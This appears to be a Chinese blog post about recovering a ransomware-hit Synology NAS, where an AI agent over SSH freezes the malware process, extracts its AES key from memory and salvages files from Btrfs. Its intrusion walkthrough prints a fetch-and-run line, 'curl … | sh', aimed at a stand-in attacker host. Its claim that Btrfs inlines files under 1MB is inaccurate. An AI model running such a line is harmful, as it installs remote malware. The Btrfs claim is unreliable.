一次群晖 NAS 勒索病毒被坑与恢复实录
机型： Synology DS423+ | 4 盘位 RAID 1 + 单盘 Basic
受害情况： 约 5TB 数据被注入.L0CK3D勒索后缀，留有read-me3.txt
最终结果： 抓活体进程提取内存密钥 + Btrfs CoW 打捞，1.03TB 相机照片全部赎回，没付一分钱赎金。
一、被坑
1.1 发现中招
事情发生在周末闲逛 V2EX 的时候。论坛首页突然飘起几个求助帖：“群晖 NAS 疑似遭遇新型勒索病毒批量扫荡”、“文件全被重命名为 .L0CK3D”。
我当时心里还暗笑“这届黑客真能折腾”，心想自己平时网络配置都挺注意的，应该轮不到我。结果随手掏出手机打开群晖 Photos 想刷刷昨天的照片，App 一直转圈加载。切到 DS file 一登，整个人瞬间后背发凉：相册、影音库、备份归档，几乎所有目录底下密密麻麻全被挂上了 .L0CK3D 后缀，每个文件夹里还整整齐齐躺着一封索要 0.05 BTC 的 read-me3.txt 勒索信。
小丑竟是我自己，我的 NAS 真被黑了。
1.2 资产损失与清点
慌归慌，还是得冷静下来赶紧清点家底：
- RAID 1 屁用没有：很多新手以为组了双盘 RAID 1 就能高枕无忧，其实 RAID 只是硬件冗余，根本不是备份。逻辑层面的病毒往盘 1 写入加密数据，RAID 控制器就在一微秒内忠实地把加密破坏同步镜像到盘 2 上，防硬件损坏有用，防病毒完全白给。
- 手机照片逃过一劫：万幸的是，手机照片平时走群晖官方的
Cloud Sync单向同步到了百度网盘。我手抖着打开网盘客户端看了一眼，云端照片完好无损，也没被推送新的加密文件。后来排查/volume1根目录抓到了同步套件的 core dump：@cloud-workerd...core.gz.L0CK3D和@syno-cloud-clie...core.gz.L0CK3D。原来是病毒在后台狂暴扫描改名和加密时，同步进程面对突发的海量文件变动自己先崩了，因祸得福切断了同步通路，网盘反而没被投毒。 - 电脑代码安全：主力开发机和 GitHub 上有完整克隆，文档和代码没丢。
- 最致命的痛点（相机的 RAW 照片）：平时犯懒，嫌几百个 G 的无压缩相机 RAW 照片往网盘传太慢，就只存在了 NAS 本地。这几年的家庭旅行、孩子照片全被死死锁在了这批
.L0CK3D文件里。这要是丢了真得吐血，所以核心目标就一个：不惜一切代价，救出相机照片。 - 几 TB 影视剧：PT 随时能下，大不了费点电重新挂几天，不管了。
二、恢复过程
2.1 GitHub 上的开源救砖工具
去 GitHub 和论坛翻了一圈，锁定了专门针对这次 C3RB3R 勒索家族的两大救命开源项目：
- **
soimy/c3rb3r-rescue**：专门用来抓取没退出的病毒进程内存，从里面抠出对称加密密钥，直接无损解密。 - **
crt106/c3rb3r-btrfs-recovery**：针对加密已完成或尾部损坏的文件，利用群晖 Btrfs 的写时复制（ CoW ）特性，从磁盘未分配的底层数据块里把原件硬捞出来。
2.2 网页 AI 人肉搬砖踩坑
刚开始我像个搬砖工一样，把 GitHub 的 README 和代码贴给网页版 AI ，然后在终端里复制它给的命令。
这种人肉排障非常折磨：
- 终端回显网页 AI 看不到，一报错就得来回截图复制日志，巨慢无比；
- 中途尝试接入 workbuddy 协助排查，折腾半天一事无成，AI 还反复报错甩锅说是我的 Mac 终端环境问题，白白浪费了宝贵的救援黄金窗口。
2.3 换用 Gemini 3.8 Flash 通过 SSH 接管
意识到越拖下去病毒越可能自毁抹除内存，我直接把群晖 SSH 授权给 Gemini 3.8 Flash ，让它用 Agent 模式直接进终端排查。
能直接跑命令看输出的 Agent 和网页聊天完全是两码事。它一进终端，第一件事就是勒令我记住两条准则：
[灾难恢复黄金准则]
1. 绝对不要重启 NAS ！重启 = 物理内存断电清空 = 钥匙彻底蒸发！
2. 绝对不要执行 kill -9 ！强杀进程 = 释放虚拟内存堆栈 = 现场被彻底销毁！
2.4 恢复三步走
这一节整个实操过程，我基本不用手敲命令，纯粹是授权让 AI 自动巡检、自动下发命令、自动写脚本并实时根据回显纠错，我就在旁边盯着终端输出看。
1. 抓活口与定身（ Freeze ）
进入终端后，AI 自主遍历进程树，瞬间从几百个系统进程中捕捉到了伪装成动态库调用的恶意 PID：
# 确认病毒恶意进程
ps -ef | grep -E "libgld|c3rb3r|lock3d"
# 关键救命决策：发 SIGSTOP 冻结进程，禁止继续破坏，锁死内存现场
kill -STOP 14382
SIGSTOP 信号一打，群晖的磁盘 I/O 读写立马归零。病毒被死死“定身”在物理内存中，堆栈和虚拟地址空间完好保留。
2. 从进程内存提取活体密钥
黑客虽然吹嘘非对称加密，但他为了快速加密几 TB 的文件，必须在本地内存里生成 AES 对称密钥。只要没重启，这把钥匙就一直躺在内存里。
AI 依据 soimy/c3rb3r-rescue 原理，直接在 NAS 本地写了个 Python 扫描工具，读取 /proc/14382/maps 和 /proc/14382/mem：
# 查看进程虚拟内存映射表
cat /proc/14382/maps | grep "heap"
# 运行脚本 Dump 内存并做 AES Key 特征匹配
python3 dump_and_extract_key.py --pid 14382
跑了几秒钟，终端里直接跳出一串 64 位的十六进制字符——会话级明文对称密钥当场拿到！黑客挂在外面的 RSA 挂锁彻底成了摆设，开锁钥匙直接从病毒内存里被掏了出来。
3. 用 Btrfs CoW 机制打捞碎片
拿到 key 跑解密，但有一小部分 RAW 照片因为病毒多线程并发搞乱了，尾部损坏解不开。
AI 马上无缝切到备用策略，调出 crt106/c3rb3r-btrfs-recovery。利用 Btrfs 的写时复制（ CoW ）特性，原文件被改写重命名时，底层的旧数据块（ Data Extents ）并没有立刻被物理覆盖，而是标记为空闲。AI 顺着底层 B 树叶节点直接去扒未覆盖的原始数据块。
靠“内存 key 解密 + Btrfs 底层扇区打捞”两套组合拳，1.03 TB 、数万张极其珍贵的相机 RAW 照片全数赎回，MD5 逐一校验无损坏！
三、深究原理
3.1 勒索病毒的加密机制
很多朋友听到对称和非对称就头大，其实原理一点都不神秘：
1. 对称与非对称到底是个啥？
- 对称加密（普通铁钥匙）： 同一把钥匙既能锁门也能开门。优点是极快，几 TB 数据几小时搞定；缺点是钥匙不能外露。
- 非对称加密（带锁孔的特制挂锁）： 一把敞开的挂锁（公钥）配一把独家钥匙（私钥）。谁都可以拿手一捏锁上，但一旦锁死，捏锁的人自己打不开，只有黑客手里那把唯一的私钥才能开。缺点是极慢，算力消耗大。
2. 黑客为什么不全用公钥加密？
如果 5TB 文件全用非对称公钥去算，群晖那颗 J4125 能卡死冒烟，算半年都算不完。没等他加密完几个文件夹，你就因为风扇狂转把电源拔了。勒索讲究神不知鬼不觉，慢了等于自杀。
3. 勒索病毒的混合套路
所以黑客玩了一招混合加密：
- 第一步（快锁）： 病毒在 NAS 内存里临时生成一把轻便的普通铁钥匙（ AES 对称密钥），飞速把你 5TB 照片全锁了；
- 第二步（锁钥匙）： 锁完后，病毒掏出黑客给的挂锁（ RSA 公钥），把这把铁钥匙锁进小盒子里，随手缝在被锁照片的屁股后面。
flowchart TD
subgraph Pipeline["病毒的混合加密流水线"]
A["NAS 内存中临时生成一把普通铁钥匙"] --> B["用铁钥匙飞速锁死你的 5TB 照片<br>(速度极快，几小时搞定)"]
C["黑客提供的敞开挂锁"] --> D["把这把普通铁钥匙锁进小盒子里<br>(咔哒一声锁死)"]
D --> E["把密封小盒子缝在每张照片的尾部"]
end
4. 为什么黑客能免费解密一张验货？
你传一张照片过去，黑客服务器切下文件末尾的小盒子，在自己的老窝里用全世界唯一的私钥打开盒子，拿到里面的铁钥匙，把照片还原发还给你看，证明他有能力解密。但他绝不会把那把铁钥匙直接给你。
5. 为什么抓进程能全救回来？
黑客的设计看似天衣无缝，但他有个物理上的致命死穴： 他在后台一张一张加密你文件的时候，那把能解开一切的铁钥匙，必须一直握在手里（也就是一直放在 NAS 的内存 RAM 里）！
- 如果你手贱关机或重启，内存一断电，钥匙当场灰飞烟灭，神仙难救；
- 但如果你没关机也没 kill ，直接用
kill -STOP定住进程，内存里的钥匙就不会丢。我们用脚本去扫进程内存/proc/$PID/mem，当场把铁钥匙搜出来。有了钥匙，谁还需要黑客的私钥？
3.2 病毒入侵全过程
没泄露账号密码，NAS 是怎么沦陷的？
sequenceDiagram
autonumber
actor Hacker as 互联网黑客扫描器
participant DMZ as 光猫/路由器 DMZ 暴露
participant DSM as 群晖 Nginx / Web 服务
participant Sys as NAS 操作系统底层 Root
Hacker->>DMZ: 广域网扫描开放端口
DMZ->>DSM: 流量直通 NAS 内网 IP
Hacker->>DSM: 发送特制畸形 HTTP 请求 (超长 Buffer)
Note over DSM: C/C++ 内存缓冲区溢出 (越界覆盖 RIP 返回地址)
DSM->>Sys: 越权劫持 CPU 指令指针，执行恶意 Payload
Sys-->>Hacker: 反弹 Shell ，下载 c3rb3r 挖矿/勒索母体
- 祸根在于偷懒开 DMZ：为了外网访问方便，在路由器里把 NAS 设成了 DMZ 主机，相当于把群晖所有端口全裸暴露在公网上。
- Pre-Auth RCE 缓冲区溢出：黑客扫描器扫到暴露端口，利用群晖旧版本组件里 C/C++ 编写的底层 Web 服务的缓冲区溢出漏洞。发了一段畸形的超长 HTTP 请求，直接冲垮栈内存覆盖了 CPU 指令返回地址，在不需要任何密码的情况下，让 NAS 直接以 root 权限执行了黑客脚本：
curl -s http://黑客源/c3rb3r | sh。
3.3 Btrfs CoW 机制与恢复
Btrfs 是打捞遗漏文件的功臣，但它有严格的边界：
flowchart LR
subgraph BtrfsCoW["Btrfs 写时复制 (CoW)"]
A["原文件 Data Extents<br>物理扇区 A"] --> B["病毒修改并加密"]
B --> C["新数据写入扇区 B"]
B --> D["原扇区 A 未被抹除，标记为 Free"]
end
- 为什么能打捞？ Btrfs 写数据从不原地覆盖，新数据写到新扇区，旧扇区保留并标记为空闲。病毒加密改写时，原始数据的磁盘扇区实际上还在，只要没被新写入覆盖，就能强行捞出。
- 为什么 1MB 以下小文件全军覆没？ Btrfs 有个特性叫 Inline Extents ，1MB 以下的小文件为了省空间，默认直接塞在 B 树的元数据叶子节点里。病毒加密重命名时原地重写了元数据，小文件随着元数据当场被抹平，底层根本没有历史数据块可捞。
四、安全加固
4.1 Btrfs 不可变快照
防勒索最管用的是让历史无法被修改：
- 装上群晖
Snapshot Replication套件； - 开启不可变快照（ Immutable Snapshots ），锁定 7~14 天。在这期间任何权限（包括 root 和病毒）都删不掉快照；
- 以后就算再被加密，点一下鼠标一秒回滚。
4.2 相机照片异地备份
- 老实遵守 3-2-1 备份原则，相机照片再大也不偷懒了；
- 用 Cloud Sync 在夜间闲时自动加密上传到异地网盘或对象存储。
4.3 网络收拢
- 立即关掉光猫和路由器的 DMZ ；
- 关闭默认端口（ 5000/5001/22 ），路由器外网只映射一个高位无规律端口（比如
44433）； - Nginx 开启 Host 白名单：未携带正确二级域名的探测流量一律直接返回 404 切断，公网扫 IP 连端口跑了什么都刺探不出来。
4.4 系统与安全补丁策略
- 别迷信“系统能稳定跑就坚决不更新”；
- 开启 DSM 重大安全更新自动安装，防患于未然。
结语
从凌晨看到满屏 .L0CK3D 的后背发凉，到用 SIGSTOP 锁死现场、从内存深处掏出钥匙，再到深挖 Btrfs 底层扇区夺回全家照片，这一仗打得确实惊险，也彻底改变了我对 AI 的看法。
1. 垃圾 AI 和牛逼 AI 真的能决定生死
平时写写打卡文案、水水周报，不同 AI 的代差看着微不足道；但在这种重大事故面前，垃圾 AI 和牛逼 AI 的差距，真的能决定你几千个 G 数据的生死。
- 垃圾 AI 是时间杀手：只会在网页端机械地搬运 README ，对系统底层两眼一抹黑。报错了不仅帮不上忙，还甩锅说是你的环境问题，白白把抢救内存活体钥匙的黄金窗口拖没了；
- 牛逼 Agent 就像带了个安全老手：直接通过 SSH 进终端，进场就能看懂内核、进程树和存储系统。知道哪些命令是救命的（
kill -STOP留堆栈），知道哪些操作是万劫不复的（禁止重启、禁止kill -9），现场写脚本提取内存 key ，顺着底层扇区捞碎片。几十分钟把 1TB 的家庭照片全盘救了回来。
2. AI 是一把双刃剑
这场事故也反映出如今残酷的网络攻防现实：
- 攻击门槛彻底打穿：黑客用大模型找暴露面、扫 0-day 、拼装免杀勒索脚本的成本极其廉价。脚本小子拿着 AI 就能全网 24 小时无差别狂轰滥炸，开 DMZ 裸奔分分钟沦陷；
- 防守更需利刃：但武器在防守方手里同样是神器。面对复杂的底层取证、扇区打捞和网络防线重构，懂架构的工程师配合顶尖 AI ，几十分钟就能完成以前人工排查几天都未必搞得定的活。
Select Language